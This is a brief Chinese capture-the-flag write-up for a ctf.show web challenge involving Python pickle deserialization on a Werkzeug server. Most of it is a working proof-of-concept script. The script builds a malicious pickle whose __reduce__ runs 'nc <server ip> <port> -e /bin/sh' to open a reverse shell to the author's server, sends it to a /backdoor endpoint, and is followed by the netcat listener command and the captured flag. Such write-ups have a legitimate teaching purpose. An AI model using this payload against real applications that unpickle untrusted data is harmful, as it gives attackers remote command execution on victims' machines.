Werkzeug/1.0.1Python/3.7.9pickle 反序列化
Python反序列化,之前有过一些研究,晚点把Python反序列化基础链接更新上来~
尝试了很多,发现是无回显的,需要反弹shell
poc
import base64
import pickle
import requests
class Exp():
def __reduce__(self):
return(__import__("os").system, ('nc 服务器ip 服务器端口 -e /bin/sh',))
exp = Exp()
s = pickle.dumps(exp)
s_base64 = base64.b64encode(s)
url = 'http://7a111fcd-ce76-4dde-9c49-5aec7f2bd40f.challenge.ctf.show:8080/backdoor'
params={
'data': s_base64
}
requests.get(url, params)
先在服务器上监听
nc -lvvp 7779
运行脚本
python3 web277.py
回到服务器上 cat
一下即可
flag
ctfshow{c27942ff-fd81-475d-89cf-8527dcfa5e91}